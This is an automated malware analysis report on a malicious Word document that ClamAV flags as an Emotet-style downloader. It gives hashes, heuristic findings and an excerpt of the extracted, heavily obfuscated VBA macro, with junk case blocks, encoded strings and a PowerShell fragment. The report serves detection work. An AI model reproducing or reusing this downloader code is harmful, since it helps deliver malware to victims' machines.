Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8fa286b5280d3308…

MALICIOUS

Office (OLE)

216.5 KB Created: 2018-04-04 14:01:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: 3ecc7b6b02a97134c2b281a7ab76a1a0 SHA-1: fcf7730a0b5bcfb0eb67344654662d9eda0a4721 SHA-256: 8fa286b5280d33087af80ef727b5f9b610c5ff585fc60dd74733f175cbb5daa3
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. The macro utilizes CreateObject and an AutoOpen function, indicating it's designed to execute automatically upon opening. The `lfAwr` function appears to be used for downloading a payload from a constructed URL, which is then likely executed. The ClamAV detection and heuristic firings strongly suggest a downloader or droppper malware.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42342 bytes
SHA-256: 3bc9488693e6beccdb8d26806d5fddd225cd9e2b843abc43cfb62266ac93f925
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LtDBOfUCjrRfIK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hXsBZBszi"
Function PCVmAVOswBT()
On Error Resume Next
Select Case LcSMcL
         Case 20195
            FnhQQ = 33786
            haOKq = Sqr(18060)
         Case 48179
            pMmGaT = CSng(vujLT)
            QMhCL = wPEpU
End Select
VcBtcCWtWKt = lfAwr("mdj6.VYUju01x/a+5gv1sjmyOBv1U292gDdB/nXqP9Yd68/MM+20nvVfe9aBcwW/gRewR/wBDnToF9S/5BwyTs5R0NxvVResv7Ju1tcjPmPuq4yrqJPm3/rK+gz9bM8xn2vUoTU7Je5Hzn3nFQfmFevsF.aX", 6, 147)
Select Case isNWtM
         Case 78236
            vczqFj = 95631
            smjEz = Sqr(96704)
         Case 32159
            hIfFa = CSng(lXRUs)
            oYBXXh = oMqwbG
End Select
Select Case ZkUSt
         Case 88167
            fRXBU = 29786
            omPSI = Sqr(90865)
         Case 3167
            jrOErJ = CSng(VvFBO)
            SMfpi = TfbXHT
End Select
qJDwNtmwPj = lfAwr("PmUnauro/vPsFi5VXBrv7hyq639v3R14363/7V3124R3L9r99m7U/dxcMG7wi1bl+zt3KpJV1e5Veu6wb265d6wh", 5, 82)
Select Case zkwDwn
         Case 38024
            BcEoCQ = 10329
            cvTAvW = Sqr(51079)
         Case 69173
            iHiNIU = CSng(kOLpX)
            JNuYRk = AbXOjw
End Select
Select Case uXwSi
         Case 27090
            jORVSv = 5175
            EXMMDT = Sqr(54102)
         Case 74334
            OqNAKh = CSng(OwuvKQ)
            sFcRAd = YnMtij
End Select
ToqmQmSi = lfAwr("8DsPzZGxPr3iwv46J6Z43C+/vDn639n37rfrh8un9U+P9dnfD7V9F+xWRz/t66OyKiflvJhUx5OiKibH08nJbPLhdFKcnEzKD5NqPimm1eS0mhS2mFUw", 6, 109)
Select Case XLASl
         Case 10543
            oAdWh = 39157
            WBHan = Sqr(61035)
         Case 37072
            bBbJu = CSng(CAGbzo)
            ktcZLn = EwvSJ
End Select
Select Case kLtDcT
         Case 96680
            AFZWjX = 68687
            VOiYK = Sqr(87621)
         Case 6427
            Vuztz = CSng(ntwjjU)
            OqsbQG = IFYCni
End Select
AoEIqzWGFSB = lfAwr("Zng]::AScII) ).REadtOENd() |& ( $ENv:COMSpeC[4,15,25]-jOIn'')SUto1", 2, 60)
Select Case zGIjq
         Case 15818
            hhTEwH = 34101
            aAqPoG = Sqr(45527)
         Case 81765
            umQuQW = CSng(GQfomo)
            qLrhJY = RzVdi
End Select
Select Case OjzIQO
         Case 98308
            PDhtaZ = 27174
            qzXpE = Sqr(41651)
         Case 45886
            kkRKY = CSng(aNijz)
            wZwjnO = svlmL
End Select
zEchO = lfAwr("Hww2h5dMS5FXC4Yl5pJ2AOnfoGePyccWCJvkM+2W82n7ZPo7k23rA+EO6h7yz+3uzOaMeeq3MeW+BbEP8g3+QFR3wDFOIN", 3, 86)
Select Case nNRwU
         Case 67363
            LfXjwo = 41818
            dTLrcd = Sqr(49173)
         Case 32351
            nCpUf = CSng(zwGJk)
            IPOAE = SBQnz
End Select
Select Case OdaAAk
         Case 82419
            umDDj = 78018
            UauzMQ = Sqr(28950)
         Case 57108
            uhKYd = CSng(cEias)
            UWdTUK = tZGfI
End Select
UhVDvlSbH = lfAwr("qw2vAJcsD+qbVe3v16164EdmXwCXyDPva/DA7gXzGPAx5bg0PDnWtUOfIvGY7eX7IG5wv4GCBPAnXO9UT/ZXWu4E42kbOIecV8/1Kf2yfXnNhuEn8aB3xCfi1asmPqJO9XwuPvd6PwqFi8.h", 4, 137)
Select Case vjFiF
         Case 56142
            AJFTaS = 63176
            KzYJvK = Sqr(1216)
         Case 5960
            jsFCj = CSng(oBBOhR)
            ZZwtn = RJtBd
End Select
Select Case nmGAzl
         Case 33364
            tzpGR = 47495
            imipB = Sqr(29188)
         Case 81077
            jHrpCl = CSng(SDnAu)
            DbGJO = czZJjm
End Select
ZKOBXVtd = lfAwr("vv+dwf8nmMF88jf8", 3, 8)
Select Case EDdzF
         Case 69704
            IZsGwO = 62118
            imTQiw = Sqr(52478)
         Case 20431
            jmVNjH = CSng(HDjhEp)
            iQzPd = AMANrT
End Select
Select Case uTBzV
         Case 97021
            smlYz = 33182
            KiQDWT = Sqr(39480)
    
... (truncated)

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